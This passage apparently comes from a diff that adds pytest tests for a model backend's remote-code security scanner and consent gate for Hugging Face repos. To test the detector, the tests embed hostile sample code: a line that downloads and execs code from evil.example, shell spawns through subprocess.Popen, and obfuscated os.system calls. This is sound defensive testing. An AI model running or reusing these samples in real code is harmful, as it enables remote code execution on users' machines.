"remote_code_blocked" in src + assert ".blocked" in src + + def test_mlx_training_path_gates_before_load(self): + # The Apple-Silicon path returns before run_training_process's gate, so it must + # scan before FastMLXModel.from_pretrained runs repo code. + src = (_BACKEND / "core/training/worker.py").read_text() + head = src[: src.index("FastMLXModel.from_pretrained(")] + assert "evaluate_remote_code_consent" in head + + def test_lora_base_model_is_gated(self): + # Inference + export expand the consent scan to the LoRA base model's code. + for rel in ("core/inference/worker.py", "core/export/worker.py"): + src = (_BACKEND / rel).read_text() + assert "consent_targets" in src + assert "get_base_model_from_lora" in src or "mc.base_model" in src + + def test_remote_lora_base_is_resolved_in_gate_paths(self): + # validate / scan / training / export must resolve a remote adapter's base (not + # just a local dir) so it is scanned, not silently trusted. (Inference gets the + # resolved base from ModelConfig.base_model.) + for rel in ( + "routes/inference.py", + "routes/models.py", + "core/training/worker.py", + "core/export/worker.py", + ): + src = (_BACKEND / rel).read_text() + assert "get_base_model_from_lora_identifier" in src, rel + + def test_embedding_training_path_gates_before_load(self): + # The embedding pipeline must run the malware + consent gates before loading, like the other paths. + src = (_BACKEND / "core/training/worker.py").read_text() + start = src.index("def _run_embedding_training(") + end = src.index("FastSentenceTransformer.from_pretrained(", start) + region = src[start:end] + assert "evaluate_file_security" in region + assert "evaluate_remote_code_consent" in region + + +class TestCanonicalScannerSource: + """In-repo, the load-time scanner must be the canonical scripts/scan_packages.py (the CI scanner), not the fallback.""" + + def test_canonical_scanner_loads_in_repo(self): + from utils.security.remote_code_scan import _load_canonical_scanner + + canon = _load_canonical_scanner() + assert canon is not None, "scripts/scan_packages.py must load in-repo" + assert hasattr(canon, "check_py_file") + + def test_gate_uses_canonical_combination_heuristics(self): + # Combination heuristics are unique to the canonical scanner: a reverse shell is + # CRITICAL there, proving the flat fallback is not in effect. + from utils.security.remote_code_scan import scan_remote_code_files + r = scan_remote_code_files(_CRITICAL) + assert r.max_severity == "CRITICAL" + + +class TestStructuredFindingsForDialog: + """The dialog needs structured findings + a fingerprint from the pre-check helper and scan route, with the approval threaded to workers.""" + + def test_findings_payload_shape(self): + from utils.security.remote_code_scan import scan_remote_code_files + + payload = scan_remote_code_files(_HIGH).findings_payload() + assert payload + for f in payload: + assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set(f) + + def test_snippet_locates_line_and_highlights_match(self): + from utils.security.remote_code_scan import scan_remote_code_files + + src = ( + "import torch\n" # 1 + "\n" # 2 + "def build(expr):\n" # 3 + " fn = eval(expr)\n" # 4 <- flagged + " return fn\n" # 5 + ) + f = scan_remote_code_files({"modeling_x.py": src}).findings_payload()[0] + assert f["line"] == 4 + rows = f["snippet"] + match = [r for r in rows if r["is_match"]] + assert len(match) == 1 and match[0]["number"] == 4 + # Precise column span isolates "eval(" within the line. + seg = match[0]["text"][match[0]["match_start"] : match[0]["match_end"]] + assert seg == "eval(" + # Context window present on both sides (clamped at file edges). + assert any(r["number"] == 3 for r in rows) + assert any(r["number"] == 5 for r in rows) + + def test_preflight_surfaces_findings(self): + from utils.security import preflight_remote_code_consent + + a, b = _with_auto_map(_HIGH) + with a, b: + d = preflight_remote_code_consent("evil/Model", trusted_org = False) + assert d.has_remote_code is True + assert d.findings and d.fingerprint # structured findings for the UI + + def test_scan_route_uses_preflight(self): + src = (Path(__file__).resolve().parent.parent / "routes/models.py").read_text() + assert "remote-code-scan" in src + # The scan route pins one combined fingerprint over adapter + base, so adapter code is reviewed and approvable too. + assert "preflight_remote_code_consent_for_targets" in src + + def _run_scan_route(self, monkeypatch, *, adapter, base, in_cache): + """Call scan_model_remote_code with all network/cache deps stubbed; in_cache(repo) + decides whether a repo pre-existed in cache (so it is not reported scan-created).""" + import asyncio + + import routes.models as models_route + import utils.models.model_config as model_config + import utils.security as security + + monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n) + monkeypatch.setattr( + model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: base + ) + monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n)) + monkeypatch.setattr( + security, + "preflight_remote_code_consent_for_targets", + lambda *_a, **_k: SimpleNamespace( + has_remote_code = False, + response_payload = lambda: {"has_remote_code": False, "approvable": True}, + ), + ) + monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ()) + monkeypatch.setattr( + security, + "evaluate_file_security", + lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []), + ) + return asyncio.run( + models_route.scan_model_remote_code( + model_name = adapter, hf_token = None, current_subject = "tester" + ) + ) + + def test_scan_route_reports_all_scan_created_repos(self, monkeypatch): + """A LoRA scan that pulls both adapter and base into cache reports every created + repo, so a decline purges all of them, not just the primary.""" + adapter, base = "someone/lora-adapter", "someone/base-model" + payload = self._run_scan_route( + monkeypatch, adapter = adapter, base = base, in_cache = lambda _n: False + ) + assert payload["scan_created_repos"] == [adapter, base] + assert payload["created_by_scan"] is True + + def test_scan_route_omits_repo_already_cached(self, monkeypatch): + """A base the user already had is not scan-created, so a decline purges only the new adapter.""" + adapter, base = "someone/lora-adapter", "someone/base-model" + payload = self._run_scan_route( + monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == base + ) + assert payload["scan_created_repos"] == [adapter] + assert payload["created_by_scan"] is True + + def test_scan_route_primary_already_cached_clears_created_by_scan(self, monkeypatch): + """When only the base is new, created_by_scan is False but the base is still purged via scan_created_repos.""" + adapter, base = "someone/lora-adapter", "someone/base-model" + payload = self._run_scan_route( + monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == adapter + ) + assert payload["scan_created_repos"] == [base] + assert payload["created_by_scan"] is False + + def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution(self, monkeypatch): + """A remote adapter is reported scan-created even though resolving its base first + caches the adapter's own adapter_config.json. Otherwise the adapter (and the + auto_map .py the preflight fetched) is left on disk on decline. The static-lambda + tests above miss this by not modeling base resolution's side effect.""" + import asyncio + + import routes.models as models_route + import utils.models.model_config as model_config + import utils.security as security + import utils.security.remote_code_scan as rcs + + adapter, base = "someone/lora-adapter", "someone/base-model" + cached: set = set() # repos currently present in some HF cache + + def _get_base(name, token = None): + # Resolving the base downloads the ADAPTER's adapter_config.json first. + cached.add(adapter) + return base + + monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n) + monkeypatch.setattr(model_config, "get_base_model_from_lora_identifier", _get_base) + monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached) + monkeypatch.setattr(rcs, "external_auto_map_repos", lambda *_a, **_k: set()) + monkeypatch.setattr( + security, + "preflight_remote_code_consent_for_targets", + lambda *_a, **_k: SimpleNamespace( + has_remote_code = True, + response_payload = lambda: {"has_remote_code": True, "approvable": True}, + ), + ) + monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ()) + monkeypatch.setattr( + security, + "evaluate_file_security", + lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []), + ) + payload = asyncio.run( + models_route.scan_model_remote_code( + model_name = adapter, hf_token = None, current_subject = "tester" + ) + ) + # The adapter must be purged on decline despite being cached mid-scan. + assert adapter in payload["scan_created_repos"] + assert base in payload["scan_created_repos"] + assert payload["created_by_scan"] is True + + @pytest.mark.parametrize( + "rel", + [ + "core/training/training.py", + "core/inference/orchestrator.py", + "core/export/orchestrator.py", + "routes/training.py", + "routes/inference.py", + "routes/export.py", + ], + ) + def test_fingerprint_threaded_to_worker(self, rel): + src = (Path(__file__).resolve().parent.parent / rel).read_text() + assert "approved_remote_code_fingerprint" in src + + +# Trusted-org auto-enable: is_trusted_org_repo decides whether a repo may auto-enable +# remote code without a prompt; it rejects local-path / spoofed names and fails closed. + + +def _fake_hfapi(resolved_id, author = "unsloth"): + api = MagicMock() + api.return_value.model_info.return_value = SimpleNamespace(id = resolved_id, author = author) + return api + + +class TestIsTrustedOrgRepo: + """Only a genuine unsloth/ or nvidia/ repo is trusted (Hub-verified); everything spoofed/malformed/unreachable fails closed.""" + + def test_accepts_genuine_unsloth_repo(self): + with patch("huggingface_hub.HfApi", _fake_hfapi("unsloth/DeepSeek-OCR")): + assert is_trusted_org_repo("unsloth/DeepSeek-OCR") is True + + def test_accepts_genuine_nvidia_repo(self): + with patch("huggingface_hub.HfApi", _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia")): + assert is_trusted_org_repo("nvidia/Nemotron-H-8B") is True + + def test_local_path_spoofs_rejected(self): + # Names that look trusted after stripping but are local paths. + for n in ["./unsloth/evil", "/tmp/unsloth/x", "~/unsloth/x", ".\\unsloth\\x"]: + assert is_trusted_org_repo(n, verify_remote = False) is False, n + + def test_rejects_local_path_even_if_is_local_path_says_so(self): + # Defensive: a bare "unsloth/x" that resolves as a local dir must fail. + with patch("utils.security.trusted_org.is_local_path", return_value = True): + assert is_trusted_org_repo("unsloth/x") is False + + def test_local_dir_shadowing_trusted_name_rejected(self, tmp_path, monkeypatch): + # A local dir literally named "unsloth/evil" must be rejected before any Hub call, even with remote verify on. + monkeypatch.chdir(tmp_path) + (tmp_path / "unsloth" / "evil").mkdir(parents = True) + clear_cache() + with patch("huggingface_hub.HfApi") as Api: + assert is_trusted_org_repo("unsloth/evil") is False + Api.assert_not_called() + + def test_untrusted_namespaces_rejected(self): + for n in ["evil/unsloth-clone", "unsloth-evil/x", "nvidiaa/x", "huggingface/x"]: + assert is_trusted_org_repo(n, verify_remote = False) is False, n + + def test_malformed_names_rejected(self): + for n in ["", "gpt2", "unsloth", "a/b/c", "/x", "unsloth/", "/unsloth", None]: + assert is_trusted_org_repo(n, verify_remote = False) is False, repr(n) + + def test_rejects_when_resolved_owner_is_not_trusted(self): + # Name says unsloth/ but the Hub resolves it elsewhere -> fail closed. + with patch("huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse")): + assert is_trusted_org_repo("unsloth/x") is False + + def test_fails_closed_when_hub_raises(self): + for exc in (ConnectionError("net"), Exception("404"), TimeoutError("t")): + clear_cache() + api = MagicMock() + api.return_value.model_info.side_effect = exc + with patch("huggingface_hub.HfApi", api): + assert is_trusted_org_repo("unsloth/maybe-real") is False + + def test_offline_trusts_shape_without_hub(self, monkeypatch): + # Offline: trust the namespace shape without ever touching the Hub. + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + clear_cache() + with patch("huggingface_hub.HfApi") as Api: + assert is_trusted_org_repo("unsloth/Local-Cached") is True + assert is_trusted_org_repo("nvidia/Nemotron-H-x") is True + assert is_trusted_org_repo("evil/x") is False + Api.assert_not_called() + + def test_token_failure_does_not_poison_authed_lookup(self): + # Cache is keyed by token: an unauthenticated failure must not poison a later authed call. + clear_cache() + api = MagicMock() + api.return_value.model_info.side_effect = [ + Exception("401 gated"), # no token -> fails closed + SimpleNamespace(id = "unsloth/Private", author = "unsloth"), # token -> resolves + ] + with patch("huggingface_hub.HfApi", api): + assert is_trusted_org_repo("unsloth/Private") is False + assert is_trusted_org_repo("unsloth/Private", hf_token = "hf_xyz") is True + + +class TestNemotronGateUsesTrustCheck: + """The NemotronH auto-enable in all three workers is gated on is_trusted_org_repo, so a spoofed nemotron-named repo never auto-enables.""" + + @pytest.mark.parametrize( + "rel", + [ + "core/training/worker.py", + "core/inference/worker.py", + "core/export/worker.py", + ], + ) + def test_worker_nemotron_block_calls_trust_check(self, rel): + src = (_BACKEND / rel).read_text() + assert "_NEMOTRON_TRUST_SUBSTRINGS" in src + assert "is_trusted_org_repo(" in src + + def test_gate_predicate_blocks_spoof_allows_trusted(self): + # Reproduce the worker predicate with the REAL is_trusted_org_repo. + subs = ("nemotron_h", "nemotron-h", "nemotron-3-nano") + + def gate(name): + low = name.lower() + return ( + any(s in low for s in subs) + and (low.startswith("unsloth/") or low.startswith("nvidia/")) + and is_trusted_org_repo(name, verify_remote = False) + ) + + with patch.dict(os.environ, {"HF_HUB_OFFLINE": "1"}): + clear_cache() + assert gate("unsloth/Nemotron-H-8B") is True + clear_cache() + assert gate("evil/nemotron_h-backdoor") is False # spoofed namespace + assert gate("unsloth/llama-3-8b") is False # not nemotron + + +# Raw scanner behaviour + coverage: scan_remote_code_files flags dangerous patterns +# and agrees with the CI auditor; repo_remote_code_files must scan every .py the +# loader could execute and fail closed on a partial remote snapshot. + +_SCAN_MALICIOUS = ( + "import os, subprocess, urllib.request, base64\n" + "subprocess.Popen(['/bin/sh', '-c', 'id'])\n" + "exec(urllib.request.urlopen('http://evil.example/x').read())\n" + "__import__('o' + 's').system('whoami')\n" + "BLOB = '" + ("QWxhZGRpbjpvcGVuc2VzYW1l" * 20) + "'\n" +) +_SCAN_BENIGN = ( + "import torch\nfrom torch import nn\n" + "from transformers import PreTrainedModel\n" + "class DeepseekOCRForCausalLM(PreTrainedModel):\n" + " def forward(self, x):\n return self.proj(x)\n" +) + + +class TestRemoteCodeScan: + def test_flags_malicious(self): + res = scan_remote_code_files({"modeling_evil.py": _SCAN_MALICIOUS}) + assert not res.clean + assert res.max_severity in (CRITICAL, HIGH) + assert res.findings + assert should_block_remote_code(res) is True + + def test_benign_is_clean(self): + res = scan_remote_code_files({"modeling_ok.py": _SCAN_BENIGN}) + assert res.clean, res.summary() + assert should_block_remote_code(res) is False + + def test_only_python_is_scanned(self): + res = scan_remote_code_files({"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS}) + assert res.clean + + def test_fingerprint_stable_and_sensitive(self): + a = remote_code_fingerprint({"m.py": _SCAN_BENIGN}) + b = remote_code_fingerprint({"m.py": _SCAN_BENIGN}) + c = remote_code_fingerprint({"m.py": _SCAN_BENIGN + "\n# changed"}) + assert a == b + assert a != c + + def test_scanner_faithful_to_scan_packages(self): + # The vendored load-time scanner agrees with the CI auditor that the file is dangerous. + sp = _BACKEND.parents[1] / "scripts" / "scan_packages.py" + if not sp.is_file(): + pytest.skip("scan_packages.py not present") + import importlib.util + + spec = importlib.util.spec_from_file_location("scan_packages_probe", sp) + mod = importlib.util.module_from_spec(spec) + spec.loader.exec_module(mod) + assert len(mod.check_py_file(_SCAN_MALICIOUS, "modeling_x.py", "pkg")) > 0 + assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean + + +class TestScannerCoversAllExecutableCode: + """repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code.""" + + def test_local_scan_is_recursive(self, tmp_path): + # A nested helper module (imported by modeling_*.py) must be scanned too. + (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_x.M"}}') + (tmp_path / "modeling_x.py").write_text("from .helpers import sub\n") + nested = tmp_path / "helpers" + nested.mkdir() + (nested / "sub.py").write_text("import os\nos.system('id')\n") + files = repo_remote_code_files(str(tmp_path)) + assert "modeling_x.py" in files + assert str(Path("helpers") / "sub.py") in files + + def test_remote_partial_download_is_unscannable(self): + # config.json fetches but a referenced .py 404s: a partial set would fingerprint + # "clean" while transformers later runs the missing file, so fail closed. + def _dl( + repo, + fn, + token = None, + ): + if fn == "config.json": + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}})) + return str(p) + if fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) # repo ships no tokenizer/processor config + raise RuntimeError("download failed") # the referenced .py cannot be fetched + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = ["modeling_x.py"]), + ): + with pytest.raises(RemoteCodeUnscannable): + repo_remote_code_files("third/party") + + def test_external_auto_map_repo_is_scanned(self): + # auto_map can point at code in another repo (owner/name--module.Class) that + # transformers fetches + runs, so the scanner must download it from that repo. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text( + json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}) + ) + elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py": + p.write_text("import os\nos.system('id')\n") + elif fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config + else: + raise RuntimeError(f"unexpected fetch {repo}:{fn}") + return str(p) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = []), + ): + files = repo_remote_code_files("victim/model") + assert "evilorg/evilrepo--modeling_evil.py" in files + assert not scan_remote_code_files(files).clean # the external code is flagged + + def test_external_auto_map_helper_imports_are_scanned(self): + # transformers fetches the external entry AND its relative imports, so the scanner + # must download the whole external .py closure -- a benign entry importing a + # dangerous helper.py must still be flagged. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text( + json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}) + ) + elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py": + p.write_text("from .helper import run\n") # benign entry, imports helper + elif repo == "evilorg/evilrepo" and fn == "helper.py": + p.write_text("import os\nos.system('id')\n") # the dangerous import + elif fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) + else: + raise RuntimeError(f"unexpected fetch {repo}:{fn}") + return str(p) + + def _list(repo, token = None): + if repo == "evilorg/evilrepo": + return ["modeling_evil.py", "helper.py"] + return [] # victim/model own repo ships no .py (code is all external) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", side_effect = _list), + ): + files = repo_remote_code_files("victim/model") + assert "evilorg/evilrepo--helper.py" in files # the imported helper was scanned + assert not scan_remote_code_files(files).clean # helper's os.system is flagged + + def test_stale_own_repo_auto_map_ref_is_ignored_not_failed_closed(self): + # A config names an own-repo .py the repo no longer ships (a stale ref, e.g. + # PaddleOCR-VL names processing_ppocrvl.py but ships processing_paddleocr_vl.py). + # The absent file cannot run, so ignore it and scan the present .py, not fail closed. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text(json.dumps({"model_type": "x"})) + elif fn == "tokenizer_config.json": + p.write_text(json.dumps({"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}})) + elif fn == "processing_paddleocr_vl.py": + p.write_text("import torch\n") # the real, present file + elif fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) + else: + raise RuntimeError(f"stale/absent file must not be fetched: {fn}") + return str(p) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "tokenizer_config.json", "processing_paddleocr_vl.py"], + ), + ): + files = repo_remote_code_files("unsloth/PaddleOCR-VL") + assert files != {}, "must not fail closed: present .py are scannable" + assert "processing_paddleocr_vl.py" in files # present file scanned + assert "processing_ppocrvl.py" not in files # stale ref ignored, never fetched + + def test_present_referenced_py_fetch_failure_still_fails_closed(self): + # The stale-ref relaxation must not weaken the present-file guarantee: a listed .py + # that cannot be fetched (transient) still fails closed, since transformers would run it. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + if fn == "config.json": + p = Path(tempfile.mkdtemp()) / fn + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}})) + return str(p) + if fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) + raise RuntimeError( + "transient fetch failure" + ) # modeling_x.py is present but unfetchable + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = ["config.json", "modeling_x.py"]), + ): + with pytest.raises(RemoteCodeUnscannable): # present-but-unfetchable -> fail closed + repo_remote_code_files("third/party") + + def test_external_tokenizer_auto_map_list_is_scanned(self): + # transformers encodes a tokenizer auto_map as a [slow, fast] list, e.g. + # {"AutoTokenizer": ["owner/repo--tokenization_x.Slow", null]}; the external code + # in the list must be fetched + scanned, not skipped for being a list. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text(json.dumps({"model_type": "llama"})) + elif fn == "tokenizer_config.json": + p.write_text( + json.dumps( + { + "auto_map": { + "AutoTokenizer": [ + "evilorg/evilrepo--tokenization_evil.EvilTokenizer", + None, + ] + } + } + ) + ) + elif repo == "evilorg/evilrepo" and fn == "tokenization_evil.py": + p.write_text("import os\nos.system('id')\n") + elif fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) # victim repo ships no image/processor config + else: + raise RuntimeError(f"unexpected fetch {repo}:{fn}") + return str(p) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = []), + ): + files = repo_remote_code_files("victim/model") + assert "evilorg/evilrepo--tokenization_evil.py" in files + assert not scan_remote_code_files(files).clean # the external tokenizer code is flagged + + def test_unreachable_external_ref_is_unscannable(self): + # If the external repo's code can't be fetched, fail closed rather than fingerprint a clean own-repo snapshot. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + if fn == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text( + json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}) + ) + return str(p) + if fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config + raise RuntimeError("download failed") # the external repo's .py is unreachable + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", return_value = []), + ): + with pytest.raises(RemoteCodeUnscannable): + repo_remote_code_files("victim/model") + + def test_unrelated_local_py_is_still_scanned(self, tmp_path): + # Deliberate broad scan (not narrowed to the import closure): a .py the entry does + # not statically import is still scanned, since the entry can reach it via + # importlib / exec / absolute import. Closure-only scanning would be a bypass. + (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_ok.M"}}') + (tmp_path / "modeling_ok.py").write_text("import torch\n") # benign entry, imports nothing + (tmp_path / "unrelated.py").write_text("import os\nos.system('id')\n") # never imported + files = repo_remote_code_files(str(tmp_path)) + assert "unrelated.py" in files # scanned despite not being referenced by auto_map + assert not scan_remote_code_files(files).clean # its os.system is flagged + + def test_external_mis_derived_dotted_ref_dropped_when_real_present(self): + # A subpackage ref "evilorg/evilrepo--pkg.modeling_evil.M" derives + # "pkg.modeling_evil.py", but the real file is "pkg/modeling_evil.py" (present). + # The mis-derived name must be dropped (not fetched and failed closed) while the + # present file is scanned, like the own-repo stale-ref guard. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + if fn == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text( + json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M"}}) + ) + return str(p) + if fn in REMOTE_CODE_CONFIG_FILES: + raise EntryNotFoundError(fn) + if repo == "evilorg/evilrepo" and fn == "pkg/modeling_evil.py": + p = Path(tempfile.mkdtemp()) / "modeling_evil.py" + p.write_text("import os\nos.system('id')\n") + return str(p) + # The mis-derived dotted name must never be fetched. + raise RuntimeError(f"unexpected fetch {repo}:{fn}") + + def _list(repo, token = None): + if repo == "evilorg/evilrepo": + return ["pkg/modeling_evil.py"] + return [] # victim/model ships no own .py + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch("huggingface_hub.list_repo_files", side_effect = _list), + ): + files = repo_remote_code_files("victim/model") + assert "evilorg/evilrepo--pkg/modeling_evil.py" in files # real file scanned + assert "evilorg/evilrepo--pkg.modeling_evil.py" not in files # mis-derived dropped + assert not scan_remote_code_files(files).clean # os.system flagged + + def test_external_auto_map_repos_enumerated_for_cleanup(self, tmp_path): + # Decline cleanup needs the external auto_map repo ids so their code is not left + # cached; external_auto_map_repos lists the repos a config references. + from utils.security.remote_code_scan import external_auto_map_repos + + (tmp_path / "config.json").write_text( + '{"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}' + ) + (tmp_path / "tokenizer_config.json").write_text( + '{"auto_map": {"AutoTokenizer": ["other/repo--tokenization_x.Slow", null]}}' + ) + repos = external_auto_map_repos(str(tmp_path)) + assert repos == {"evilorg/evilrepo", "other/repo"} + + # A config with only own-repo code yields no external repos. + (tmp_path / "plain").mkdir() + (tmp_path / "plain" / "config.json").write_text( + '{"auto_map": {"AutoModel": "modeling_local.M"}}' + ) + assert external_auto_map_repos(str(tmp_path / "plain")) == set() + + def test_gguf_repo_vestigial_auto_map_no_py_is_no_code(self): + # A GGUF repo whose config.json has a vestigial auto_map but ships no .py: the + # listing succeeds with nothing to run, so the result is an empty dict, not a + # raise (which would false-block). Real shape of a Nemotron-Ultra GGUF. + def _dl( + repo, + fn, + token = None, + ): + import json + import tempfile + + p = Path(tempfile.mkdtemp()) / fn + if fn == "config.json": + p.write_text( + json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}}) + ) + return str(p) + raise EntryNotFoundError(fn) # no other config, and modeling_decilm.py is absent + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "model-00001-of-00097.gguf"], + ), + ): + files = repo_remote_code_files("unsloth/Some-Model-GGUF") + assert files == {} # no executable code -> empty (no raise) + + def test_tokenizer_only_auto_map_is_gated(self, tmp_path): + # config.json is plain but tokenizer_config.json declares auto_map: an + # AutoTokenizer(trust_remote_code=True) load runs that code, so scan + block it. + from utils.security import preflight_remote_code_consent + + (tmp_path / "config.json").write_text('{"model_type": "llama"}') + (tmp_path / "tokenizer_config.json").write_text( + '{"auto_map": {"AutoTokenizer": ["tokenization_evil.EvilTokenizer", null]}}' + ) + (tmp_path / "tokenization_evil.py").write_text( + "import subprocess\nsubprocess.Popen(['/bin/sh', '-c', 'id'])\n" + ) + d = preflight_remote_code_consent(str(tmp_path), trusted_org = False) + assert d.has_remote_code is True + assert d.blocked is True + assert d.fingerprint + + def test_config_file_list_covers_transformers_auto_map_sources(self): + # transformers reads auto_map only from a fixed set of config files (filename + # constants). Pin our scanned set to those exact constants from the installed + # transformers, so an upgrade that adds/renames an auto_map config trips here + # instead of silently leaving its code unscanned. + from transformers.tokenization_utils_base import TOKENIZER_CONFIG_FILE + from transformers.utils import ( + CONFIG_NAME, + FEATURE_EXTRACTOR_NAME, + IMAGE_PROCESSOR_NAME, + PROCESSOR_NAME, + VIDEO_PROCESSOR_NAME, + ) + + expected = { + CONFIG_NAME, # AutoConfig / AutoModel + TOKENIZER_CONFIG_FILE, # AutoTokenizer + FEATURE_EXTRACTOR_NAME, # AutoFeatureExtractor (preprocessor_config.json) + IMAGE_PROCESSOR_NAME, # AutoImageProcessor (preprocessor_config.json) + PROCESSOR_NAME, # AutoProcessor + VIDEO_PROCESSOR_NAME, # AutoVideoProcessor + } + missing = expected - set(REMOTE_CODE_CONFIG_FILES) + assert not missing, ( + "transformers reads auto_map from config files the consent gate does not " + f"scan: {sorted(missing)}. Add them to REMOTE_CODE_CONFIG_FILES." + ) + + def test_load_configs_returns_empty_list_when_all_404(self): + # A remote repo shipping none of the auto_map configs (every fetch 404s) returns + # [] ("no config-based auto_map"), not None ("unknown"): [] -> no-op, while None + # would force a scan and, for a code-less repo, a false unscannable block. + with patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")): + configs = consent._load_remote_code_configs("some/plain-repo") + assert configs == [] + # And a transient error on a config -> None (unknown -> caller scans). + with patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("blip")): + configs = consent._load_remote_code_configs("some/gated-repo") + assert configs is None + + def test_gguf_repo_auto_map_is_ignored(self): + # A GGUF repo with a vestigial auto_map loads via llama.cpp, which never runs it, + # so _config_has_auto_map must return False and skip the consent flow. + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + import tempfile + + if filename == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text( + json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}}) + ) + return str(p) + raise EntryNotFoundError(filename) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "model-00001-of-00097.gguf"], + ), + ): + assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is False + + def test_direct_gguf_file_reference_has_no_auto_map(self): + # A direct .gguf file reference (repo id + filename, >=3 segments) is a GGUF load: no remote code, no Hub call. + with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")): + assert consent._config_has_auto_map("org/repo/model.gguf") is False + + def test_remote_repo_named_gguf_is_not_suffix_skipped(self): + # A two-segment repo id whose name ends in ".gguf" is not a direct file reference: + # it can still ship safetensors + auto_map Python, so it must be scanned. + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + import tempfile + + if filename == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}})) + return str(p) + raise EntryNotFoundError(filename) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "model.safetensors", "model.gguf", "modeling_x.py"], + ), + ): + # Ships safetensors -> not a GGUF-only repo -> the auto_map gates. + assert consent._config_has_auto_map("evil/model.gguf") is True + + def test_mixed_gguf_and_safetensors_repo_is_still_gated(self): + # A repo with both .gguf and .safetensors is not treated as GGUF: the safetensors + # could load via transformers where auto_map runs, so the gate must still apply. + def _dl( 